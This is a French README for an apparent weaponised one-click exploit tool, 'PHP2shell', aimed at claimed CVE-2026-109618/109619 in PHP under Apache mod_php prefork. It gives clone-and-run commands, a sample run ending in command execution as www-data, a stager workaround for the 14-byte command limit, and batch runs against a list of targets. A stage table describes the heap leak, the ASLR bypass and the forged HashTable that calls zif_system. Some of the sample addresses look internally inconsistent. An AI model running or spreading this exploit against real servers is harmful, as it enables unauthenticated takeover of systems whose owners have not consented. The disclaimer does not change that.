
PoC d'exploitation en un clic pour CVE-2026-109618 et CVE-2026-109619 contre des cibles vulnérables PHP + Apache mod_php (prefork).
PoC weaponisé en un clic pour CVE-2026-109618 & CVE-2026-109619
Ciblant les déploiements PHP + Apache mod_php (prefork) vulnérables.
⚠️ AVERTISSEMENT : Cet outil est fourni strictement pour les tests de sécurité autorisés, les CTF et la recherche pédagogique. Ne l'utilisez pas contre une infrastructure que vous ne possédez pas ou pour laquelle vous ne disposez pas d'une autorisation explicite de test. L'auteur décline toute responsabilité en cas de mauvaise utilisation.
PHP2shell est un exploit de corruption de mémoire multi-étapes ciblant le cœur de PHP au sein des environnements Apache mod_php prefork.
En abusant de la gestion de l'Out-Of-Memory (OOM) et de l'état lié à la requête qui persiste dans les workers persistants, cet exploit contourne l'ASLR (Address Space Layout Randomization), divulgue des pointeurs internes du tas et de libphp.so, et forge des structures PHP pour parvenir à une exécution de code à distance (RCE) non authentifiée.
bookworm (par défaut) : Image Docker officielle php:8.4.26-apache sur Debian Bookworm.lab : Build de lab personnalisé (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).Soyez opérationnel en quelques secondes.
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
En raison de la taille de porteuse de 167 octets, la longueur de la commande est strictement limitée à 14 octets. Pour exécuter des charges utiles plus longues, utilisez un stager court :
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
Créez un fichier targets.txt :
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
Exécutez l'exploit séquentiellement contre toutes les cibles :
python3 php2shell.py -t targets.txt
Si vous avez extrait les décalages manuellement ou ciblez une compilation personnalisée, transmettez-les directement :
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
Au lieu de vérifier un fichier local, forcez l'exploit à vérifier la RCE en récupérant un fichier via HTTP :
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| Argument | Description |
|---|---|
-u, --url | URL de la page PHP cible |
-t, --target-file | Fichier contenant une URL cible par ligne |
-c, --cmd | Commande à exécuter (max 14 octets) |
--proof-file | Fichier de preuve local à vérifier (par défaut : out/p1) |
--fetch | Chemin GET pour vérifier l'exploitation à distance |
--profile | Profil cible : bookworm (par défaut) ou lab |
--zif-offset | Offset de zif_system dans libphp.so |
--dtor-offset | Offset de ZVAL_PTR_DTOR dans libphp.so |
--htdata-offset | Offset relatif au chunk de la chaîne de 167 octets |
--retries | Tentatives par étape de fuite (par défaut : 3) |
--no-color | Désactiver les couleurs ANSI |
| Étape 0 | Rotation des workers : Envoie une requête surdimensionnée pour forcer Apache prefork à abandonner le worker courant et à créer un nouveau processus enfant avec un tas propre. |
| Étape 1 | Fuite de tas : Déclenche une corruption OOM afin qu'un pointeur global de module référence de la mémoire libérée. Des champs de formulaire pulvérisés récupèrent l'emplacement avec un zend_string forgé, divulguant des pointeurs de tas via Set-Cookie. |
| Étape 2 | Contournement de l'ASLR : Divulgue un pointeur zval_ptr_dtor depuis libphp.so. La soustraction du DTOR_OFFSET connu révèle l'adresse de base de la bibliothèque. |
| Étape 3 | RCE : Forge une fausse HashTable et définit pDestructor sur libphp_base + ZIF_OFFSET. La routine de nettoyage de PHP appelle zif_system avec votre commande. |
Sous licence MIT License. Voir LICENSE pour plus de détails.
Conçu avec 🔥 par 0xgh057r3c0n